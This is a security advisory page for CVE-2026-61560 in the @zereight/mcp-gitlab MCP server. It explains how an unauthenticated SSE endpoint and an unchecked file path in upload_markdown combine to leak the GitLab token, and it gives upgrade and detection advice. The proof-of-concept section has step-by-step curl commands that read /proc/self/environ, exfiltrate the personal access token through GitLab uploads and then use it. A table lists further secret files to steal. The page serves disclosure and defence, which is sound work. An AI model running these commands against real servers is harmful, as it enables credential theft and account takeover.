CVE-2026-61560: @zereight/mcp-gitlab: Unauthenticated arbitrary file read via `upload_markdown` enables PAT exfiltration and full account takeover
@zereight/mcp-gitlab before 2.1.27 exposes all its tools over SSE with no authentication, and the `upload_markdown` tool reads any server file. A network attacker can upload `/proc/self/environ` to a GitLab project, read the GitLab personal access token and take over the account. Upgrade to 2.1.27.
Published Sep 16, 2026 · Analysis Oct 22, 2026
What an attacker can do
Two flaws chain. First, with SSE=true, the mode the project's Docker setup uses, the /sse and /messages endpoints in src/index.ts have no authentication. Anyone who reaches the port can open a session and call the 100+ tools with the server's configured PAT. REMOTE_AUTHORIZATION=true cannot be combined with SSE, so there is no per-request auth to switch on.
Second, upload_markdown in the users toolset, which is on by default, passes file_path to fs.readFileSync after only an existence check. The Zod schema is a bare z.string(). The tool uploads the content to a GitLab project through POST /projects/:id/uploads.
The attacker opens a session, finds a writable project with list_projects, calls upload_markdown on /proc/self/environ, then downloads the upload from GitLab. The file holds GITLAB_PERSONAL_ACCESS_TOKEN=glpat-.... With it the attacker has the token owner's GitLab access: repositories, CI/CD secrets and variables, deploy keys and admin functions if the owner is an admin. The Dockerfile has no USER directive, so the process runs as root and can also read /etc/shadow, source files and OAuth token files. The compose file maps 3002:3002, which binds all interfaces by default.
Who is affected
@zereight/mcp-gitlab below 2.1.27, running with SSE=true, with a personal access token configured. The default Docker deployment matches. Stdio-only use is not network reachable, though the file-read flaw in the tool still applies to whoever controls the client.
npm ls @zereight/mcp-gitlabFor Docker, check the image tag and whether port 3002 is published beyond localhost.
@zereight/mcp-gitlab
- Ecosystem
- npm
- Affected
- < 2.1.27
- Fixed in
- 2.1.27
- Check
npm ls @zereight/mcp-gitlab
How to fix it
Upgrade to 2.1.27:
npm install @zereight/[email protected]The release notes list "guard exposed SSE transport" (pull request 554) and "restrict dynamic GitLab API hosts" (pull request 553). The page does not describe the exact auth mechanism or whether file_path is now restricted, so read those pull requests before relying on a setting. Until you upgrade, do not publish port 3002 to untrusted networks, bind it to 127.0.0.1, and rotate the GitLab token if the service was reachable.
How to tell if you were hit
Check GitLab project uploads for files named environ or other files that look like system or config files, and check which account created them. In the MCP server's access logs, look for /sse and /messages requests from unknown addresses and tools/call messages with upload_markdown and absolute file_path values. In GitLab, review audit events and token use from unfamiliar IPs, and rotate the PAT if you find any.
Original advisory
From the GitHub Advisory Database (CC BY 4.0).
Summary
The SSE transport mode (SSE=true) exposes all MCP tools without any authentication. The upload_markdown tool reads arbitrary files from the server's local filesystem via an unsanitized file_path parameter and uploads them to a GitLab project. Combined, any unauthenticated network-reachable attacker can read /proc/self/environ to steal the server's GITLAB_PERSONAL_ACCESS_TOKEN and achieve full GitLab account takeover. This is the default configuration for Docker deployments.
Details
Two issues chain together:
1. No authentication on SSE transport (`src/index.ts:7350-7388`)
When SSE=true (the intended mode for Docker deployments per docker-compose.yaml), the /sse and /messages endpoints have zero authentication middleware. Any HTTP client that can reach the port can establish a session and invoke all ~100+ tools using the server's configured PAT.
// src/index.ts:7354 — no auth check
app.get("/sse", async (_: Request, res: Response) => {
const serverInstance = createServer();
const transport = new SSEServerTransport("/messages", res);
await serverInstance.connect(transport);
});Remote Authorization (REMOTE_AUTHORIZATION=true) is explicitly incompatible with SSE mode (src/index.ts:1833-1839), so there is no way to add per-request auth in this transport.
2. Arbitrary file read in `upload_markdown` (`src/index.ts:5461-5503`)
The upload_markdown tool calls fs.readFileSync(filePath) where filePath comes directly from user input with no validation. The Zod schema (src/schemas.ts:2150-2153) defines file_path as z.string() with no path restrictions, allowlists, or sandboxing.
async function markdownUpload(projectId: string, filePath: string) {
if (!fs.existsSync(filePath)) {
throw new Error(`File not found: ${filePath}`);
}
const fileBuffer = fs.readFileSync(filePath); // Arbitrary file read — no path validation
// ... uploads to GitLab project via POST /projects/:id/uploads
}This tool is in the users toolset, which is enabled by default.
Docker amplification: The Dockerfile has no USER directive, so the process runs as root. The docker-compose.yaml maps 3002:3002, which binds 0.0.0.0 by default, exposing the unauthenticated endpoint to the network.
PoC
Prerequisites:
- A running
@zereight/mcp-gitlabinstance withSSE=trueandGITLAB_PERSONAL_ACCESS_TOKENset (this is the default Docker deployment config) - Network access to the server's port (default: 3002)
- A GitLab project ID the PAT has write access to (use
list_projectsto enumerate)
Steps:
# 1. Connect to the unauthenticated SSE endpoint and capture the session ID
SESSION_ID=$(curl -s -N http://<HOST>:3002/sse | head -1 | grep -oP 'sessionId=\K[^&\s]+')
# 2. (Optional) Enumerate accessible projects to find a writable project ID
curl -X POST "http://<HOST>:3002/messages?sessionId=$SESSION_ID" \
-H "Content-Type: application/json" \
-d '{
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"name": "list_projects",
"arguments": {"owned": true}
}
}'
# 3. Read /proc/self/environ (contains GITLAB_PERSONAL_ACCESS_TOKEN in plaintext)
# and upload it to a GitLab project
curl -X POST "http://<HOST>:3002/messages?sessionId=$SESSION_ID" \
-H "Content-Type: application/json" \
-d '{
"jsonrpc": "2.0",
"id": 2,
"method": "tools/call",
"params": {
"name": "upload_markdown",
"arguments": {
"project_id": "<WRITABLE_PROJECT_ID>",
"file_path": "/proc/self/environ"
}
}
}'
# 4. The response contains a GitLab upload URL like:
# {"markdown": "", "url": "/uploads/abc123def456/environ"}
#
# 5. Retrieve the uploaded file from GitLab:
curl "https://gitlab.example.com/<namespace>/<project>/uploads/abc123def456/environ"
# 6. The file contains NUL-separated environment variables including:
# GITLAB_PERSONAL_ACCESS_TOKEN=glpat-xxxxxxxxxxxxxxxxxxxx
#
# 7. Use the stolen PAT for full GitLab API access:
curl -H "Private-Token: glpat-xxxxxxxxxxxxxxxxxxxx" "https://gitlab.example.com/api/v4/user"Other exfiltrable targets (running as root in Docker):
| File | Contents | | `/proc/self/environ` | All env vars including `GITLAB_PERSONAL_ACCESS_TOKEN=glpat-xxxxx` | | `/proc/self/cmdline` | Command line args (token if passed via CLI) | | `/etc/shadow` | System password hashes | | `/app/build/index.js` | Full application source code | | `~/.gitlab-mcp-token.json` | OAuth tokens (if OAuth mode was used) |
Impact
Unauthenticated full GitLab account takeover. Any attacker with network access to the MCP server port can steal the Personal Access Token and gain complete access to the GitLab instance as the token owner - including all repositories, CI/CD secrets and variables, deploy keys, project settings, and admin functions if the user has admin privileges. No credentials or user interaction are required. This is the default configuration for Docker deployments
Credited to gil-maman-p, hodaya-prz.
Questions
- Does the attacker need credentials?
No. The SSE transport has no authentication, so anyone who can reach the port can call the tools with the server's PAT.
- What does the attacker get?
The server's GitLab personal access token, read from /proc/self/environ, and with it the owner's access to repositories, CI/CD variables and, for admins, admin functions.
- Is the default Docker setup exposed?
Per the advisory, yes. The docker-compose file uses SSE mode, publishes 3002 on all interfaces and the container runs as root.
- Is it exploited in the wild?
No source says so, and it is not in CISA's KEV catalog.
References
Read for this analysis:
- https://github.com/zereight/gitlab-mcp/security/advisories/GHSA-cv3r-c5h8-f4g5
- https://github.com/zereight/gitlab-mcp/releases/tag/v2.1.27
- https://nvd.nist.gov/vuln/detail/CVE-2026-61560
- https://github.com/zereight/gitlab-mcp/pull/482
- https://github.com/zereight/gitlab-mcp/pull/554
- https://github.com/zereight/gitlab-mcp/pull/622
- https://github.com/zereight/gitlab-mcp/commit/e436ee4ad067b64584ec9312c9e9c9a2641c1976
- https://github.com/advisories/GHSA-cv3r-c5h8-f4g5
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology
More Other MCP servers and tools vulnerabilities
All Other MCP servers and tools entriesCVE-2026-77361
obsidian-tc : Symlink read-ACL scope bypass via lexical path checks
medium4.7Oct 23, 2026CVE-2026-114126
Storybook dev server vulnerable to code injection from the local network
high8.7Oct 22, 2026CVE-2026-113731
djust: Arbitrary absolute-path file read in the find_handlers_for_template MCP tool
low3.3Oct 21, 2026CVE-2026-114125
Storybook: Missing origin validation in Storybook preview allows code injection from malicious websites
critical9.4Oct 21, 2026CVE-2026-111770
MCP TypeScript server SDK: Shared transport or server instances delivered one HTTP client's messages to another
high7.7Oct 20, 2026GHSA-953h-535j-jg2v
agent-router: MCP session resume does not verify the embedded anti-hijacking subject; default Helm seed makes session IDs forgeable
medium6.8Oct 19, 2026
